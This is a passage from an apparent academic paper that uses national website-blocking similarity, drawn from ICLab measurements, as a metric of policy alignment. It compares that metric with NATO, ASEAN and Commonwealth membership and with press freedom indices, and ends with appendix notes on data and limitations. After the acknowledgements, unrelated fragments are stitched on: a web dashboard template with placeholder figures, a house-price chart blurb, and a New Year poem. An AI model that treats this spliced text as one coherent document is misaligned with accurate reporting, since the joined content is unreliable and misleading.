NATO countries are significantly more similar to one another in Internet blocking patterns than they are to non-NATO countries. It is interesting to note that we did not find this to be true for former Warsaw pact countries in our prior analysis (see our section on trade alliances, above). Together, these results imply that the "digital consequences" of NATO membership may be greater than the legacy effects of the Warsaw pact
Of course, this result does not necessarily indicate that NATO countries have similar Internet blocking policies because doing so serves their shared military objectives. Within-NATO scores could be higher due to other legal, historical and trade relationships between NATO countries. However, our result does provide some evidence that Internet policy is not entirely detached from military objectives.
At the same time, and in contrast to NATO countries, ASEAN countries are not significantly self-similar. This finding reinforces the view that ASEAN is a less coherent, less institutionally robust alliance than is NATO (Acharya, 2014).
Personal and press freedom
Reporters Without Borders’ World Press Freedom Index (Borders, 2020) quantifies the degree of freedom available to journalists in 180 countries. We find a moderate positive correlation between blocking similarity and media freedom rank, r(1483) = 0.38, p<0.001. Countries more similar to one another in press freedom ranking are also more similar to one another in Internet blocking patterns.
Freedom House’s Freedom in the World Index (House, 2020) quantifies the freedom of electoral processes, political participation, functioning of government, freedom of expression and association, rule of law, and personal autonomy around the world. We find a moderate positive correlation between similarity in World Press Freedom ranking and Internet blocking similarity, r(1483) = 0.45, p<0.001. The Freedom in the World index and the World Press Freedom indices are themselves highly positively correlated with one another, r(156) = 0.85, p<0.001.
Takeaways
The presence of a positive correlation between blocking similarities implies that changes to our Internet blocking metric could predict changes to press freedom and personal freedom in countries. If a country becomes more similar in its Internet blocking patterns to Sweden, its personal and press freedom rankings are liable to increase; as it becomes more similar to Russia, we can infer that its personal and press freedom rankings are decreasing. This prediction is purely correlative; our data do not present a causal claim in one direction or the other. That said, our metric promises a faster and cheaper-to-collect method than existing metrics used in the indices we mention.
At the same time, the fact that our metric does not relate more strongly to measures of personal and press freedom is itself telling. In other words, Internet blocking policy cannot be explained entirely by personal and press freedom alone. Future work should examine where specifically correlations between Internet blocking and press or personal freedom break down. What about Internet blocking cannot be explained by press freedom? Those studies could lead to both a more fine-grained metric of personal and press freedom, and potentially to a more fine-grained metric of website blocking.
Cultural and historical ties: Commonwealth countries
The correlations we have discussed so far have been suggestive of ties between website blocking policy and other domains, such as press freedom, trade and military alliance. However, in all cases, our findings are confounded somewhat by shared cultural history. Along with their trade alliance, countries in the EU share many legal, cultural and historical similarities. The same is true of NATO members and, to a degree, of countries with high press freedom.
To what degree can webite blocking policies be explained by cultural relationships—shared legal precedent and cultural norms? To examine this question, we analyzed Commonwealth countries, an association of 54 member states, nearly all former territories of the British Empire. This association represents a shared history of British colonialism, and correlates with various cultural factors including use of English language, representative governments and common law systems. Of course, these member countries are also quite diverse in GDP per capita and human development. However, if Internet blocking relates to historical norms around speech, we would expect Commonwealth countries to have more similar blocking patterns to one another than to non-Commonwealth countries.
We collected the similarity metrics between all pairs of Commonwealth countries (within-Commonwealth group), and between all pairs of Commonwealth- and non-Commonwealth countries (outside-Commonwealth group). We performed a Mann Whitney U-Test on the two groups, and failed to reject that null hypothesis the within-Commonwealth (M=0.89) group shared higher similarity scores than the outside-Commonwealth (M=0.89) group (U=9922, p=0.59).
Takeaways
Our finding implies that Commonwealth heritage is not reflected in website blocking. This throws into question the degree to which our previous findings—significant similarities between EU countries, NATO countries, or countries with high press or personal freedom—are explainable by cultural and historical relationships alone.
However, historical relationships are not the only proxy of shared cultural connection. Present-day cultural connections may be better measured through, for example, plane flights. We might expect countries with high Internet blocking similarities to have more airline flights between them. Future work could explore these and other relationships to determine how cultural, political and legal similarities may explain variance in Internet blocking patterns.
Conclusion
This work presents Internet blocking as a metric of policy alignment. It begins to represent policy in a domain not well-studied by other metrics of alignment: Internet governance.
Correlations between our metric and metrics from other domains strong remind us that digital layer does not float freely from political realities, nor does it undermine traditional patterns in international relations. Instead, it either reflects or reinforces these patterns; or, most likely, a bit of both. These correlations indicate opportunities for future work on trade, military agreements, and beyond to use our metric to deepen insights in their domains, and vice versa.
At the same time, our work demonstrates the value and relevance of Internet fragmentation to policymakers. Internet fragmentation is not simply a technical issue. Internet fragmentation, at least as measured by website blocking, appears to be entangled with other aspects of the global order.
As such, future work could attempt to assess the usefulness of this metric as a “leading indicator” of changes to international relations. Unlike other metrics of global trade, military alliance, or civil rights, we can measure Internet blocking continuously. As one country converges with others on website blocking patterns, we would expect those countries to be more likely to, for example, join a trade pact in the future. To name an example timely as of the time of this writing, imagine that the United States blocks the Chinese apps WeChat and TikTok, and the European Union does not follow suit. With that change, we could predict that the EU would be more likely to trade with China than would the US.
Similarly, our tool could be used to generate "what-if" scenarios. If policymakers are toying with blocking a particular website (consider the US's musings around blocking TikTok as of the time of this writing), our metric could indicate how this blocking event would change the structure of similarity relations globally.
In the future, we aim to develop our tool to be more comprehensive, covering multiple layers of the TCP/IP stack (Table 1). This metric, which covers website blocking alone, focuses on the "application" layer of DNS and HTTP. Our future work could explore fragmentation "lower down" the stack (e.g., at the protocol layer, where a transition from IPv4 to IPv6 plays out unevenly around the globe). Future work could also explore fragmentation "higher up" the stack, looking at laws that limit data flow or enforce Internet sovereignty (Bejtlich et al., 2015).
| Layer | Number | Our metric |
|---|---|---|
| Legal/social/human | Layer 5 | Data locality laws |
| Application | Layer 4 | Website blocking |
| Transport | Layer 3 | Network interference events |
| Network | Layer 2 | IPv4 to IPv6 transition |
| Link | Layer 1 | Physical infrastructure |
We also aim to collect data more frequently, updating our metric as continuously as possible (and archiving prior metrics). The Open Observatory of Network Interference (OONI) (Network Interference (OONI), 2020) collects Internet measurements continuously, including data about website blocking. These terabytes of data, collected second-to-second, could be used to detect sudden changes in blocking patterns. These changes could themselves act as harbingers of changes to the international order.
Appendix
Data, code and visualization
Our metric, and the code used to generate it, are available via GitHub. The code that powers our interactive visualizations are also accessible via GitHub.
Data cleaning
We had 12 datasets (.csv files) ranging from January 2017 to September 2018 which amounted to a total of 50,436,865 observations. Each observation represents a single GET request to a particular URL in a particular country at a particular time. These observations represent both blocked and not-blocked websites; they represent queries meant to discover if a website is blocked or not. Results are reported regardless of the test outcome. Since this data is from longitudinal study, our data set may contain multiple GET requests to the same website across different countries at different points of time.
We consider a website blocked when a website has any of ICLab’s blocking-related
features set to True (dns_all
, censored_updated
, block
, packet_updated
). This
permissive approach allows us to detect all types of blockings available to
ICLab. We count each such dataset as blocked. Over all observations in the
datastet, 232,348 are blocked, or 0.46% of the dataset.
Finally, we augment this dataset by adding the Fortiguard category for each website observed to be blocked in the dataset. After this process, we are left with 78 categories of website blocking across 55 countries.
Limitations
ICLab data
While ICLab does a good job at detecting when a website is blocked, there are a few limitations that hinder our ability to reliably decide if a given webpage is blocked or not.
First, particular websites may discriminate against VPN users. For example, Netflix blocks all known VPNs. This may make a website appear to be blocked when it really is not.
Second, while the United States does not block websites by interfering with network traffic, the United States does use its legal system to seize websites that violate US law. One prolific effort is Operation In Our Sites, managed by Immigration and Customs Enforcement (ICE). (Kopel, 2013). While this activity does constitute Internet censorship, it does not cause Internet fragmentation per se, as seized websites become equally unavailable worldwide. Future work should monitor US website seizing operations more closely.
Third, some VPN providers manipulate traffic themselves (sometimes injecting ads).
Fourth, lists of URLs to test are biased. What websites should one test for blocking? ICLab cobbles together numerous datasets from across the web, but some (especially the Citizen Lab lists) suffer from selection bias, as they're manually curated by activists with a particular political bent.
Fifth, vantage points can be difficult to set up in countries where blocking is rampant, and in countries with adversarial regimes. These points are typically set up by volunteers. For example, Iran and Syria have no volunteers for now, as the ICLab maintainers decided the political situation is too risky there. ICLab lost access to VPNs in Iran in May 2017 due to sanctions, resulting in missing data in that country. Missing data in that country makes there appear to be little blocking, when in fact website blocking may be much higher than we are measuring.
Sixth, countries could evade blocking detection. If a country can conceal its website blocking actions, how would we know they're doing it? This is a major source of epistemic risk: countries may be using secret or unknown mechanisms to achieve blocking in certain countries, or may be strategically avoiding blocking content to vantage points such as VPNs.
Seventh, TCP handshakes create some uncertainty as we cannot be sure whether the observations constitute actual interference. More data from more vantage points could resolve some of this ambiguity.
Eighth, governments may tailor their blocking strategies to particular users. ICLab's method of vantage points is unlikely to capture this sort of blocking; detecting personalized censorship would require end-users to install and run tests themselves. Of course, having end users request sensitive websites, even automatically, could put them at great personal risk. Those possibilities could be the subject of future work.
Finally, a more fundamental issue with ICLab data is that the blocking events in this dataset do not necessarily relate to government action. Individual websites, such as Netflix, can choose to block traffic originating from particular countries. We decided to include these cases of probable non-government blocking, as they still show a degree of Internet fragmentation—the degree to which the Internet is different across different countries.
Content categorization
FortiGuard does not capture the fine-grained thematic content of a website. FortiGuard classifies the Facebook BlackLivesMatter group as "social networking," (Fortiguard, 2020b) indicating that FortiGuard does not capture the subject matter of particular Facebook pages. FortiGuard’s bases their 87 categories on the user needs of their “three major groups of customers: enterprises, schools and homes/families” (Fortiguard, 2020a). It is unclear that these categories are a perfect fit for our usecase of measuring or detecting policies behind website blocking decisions.
However, a pervasive epistemological issue is that we don’t know what the right categories should be. The “ground truth” category for Black Lives Matter’s Facebook page, for example, is unclear. Is it “race”? “Politics”? These boundaries are even less clear for religious movements in Myanmar. Some categories straddle the religious and political, while FortiGuard’s given categories (e.g., “extremism,” “drug abuse”) embed their own politics. Future work could make alternative or complementary categories for webpages based on NLP, allowing us to uncover or induce multiple overlapping topics from webpages in our corpus rather than relying on the overly-simplistic, one-of-n classification of webpages.
Also, we can't be sure that governments (versus private companies) are really performing the website blocking we're detecting. It could very well be the case that renegade ISPs blocks content, or that individual sites refuse to serve particular countries (perhaps to cut down on fraud or avoid sanctions). While it's overwhelming likely that blocking is occurring with state support, the difficulty in knowing for sure adds some uncertainty to our use of these data as a proxy for policy.
False negatives
One epistemic issue in our dataset is possible false negatives. As an example of when this issue might crop up, consider China and India. China and india both have roughly the same number of observations (2597 vs 2921), but India has a much higher number of websites blocked (519 vs 47). There are a few possible explanations for this observation. One is that India blocks more frequently than China. However, other possible explanations point to issues of false negatives. Websites blocked in China may not appear on the lists used by ICLab. Alternatively, this difference in the number of blocked websites may be an artifact of the nature of blocking in China, which could focus more on content within apps then with specific URLs.
About the authors
Nick Merrill directs the Daylight Lab at the UC Berkeley Center for Long-Term Cybersecurity.
E-mail: ffff at berkeley dot edu
Steve Weber is a Professor at the School of Information at UC Berkeley, wher he directs the Center for Long-Term Cybersecurity.
E-mail: steven_weber at berkeley dot edu
Acknowledgements
We would like to thank Akhilesh Pandita for his data analysis and Lily Bhattacharjee for her work building the data visualizations. We would also like to thank First Monday reviewers for their helpful comments, which improved this paper a great deal.


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{% extends "layouts/base.html" %} {% block title %} Charts {% endblock title %} {% block stylesheets %}{% endblock stylesheets %} {% block content %}
Sales
Profits
Users
Bounce Rate
17% increase in sales than last week
25% more traffic than previous week
Student A
56%
Student B
34%
Product Sales
$2,464
Profit Attained
$1,325


Use the interactive charts below to explore the dataset
Above is a bar chart of average house prices of select cities. The chart can be filtered by state and year through the dropdown menu.
Below is a heat map that shows the Average house Prices across the United States.


Charming New Year has come,
Smell out of kitchen is yum,
Christmas trees are everywhere –
Bright and cool here and there.
With you to have all the fun,
Play in the snow and run,
Think of the days you were small–
And take it all, take it all.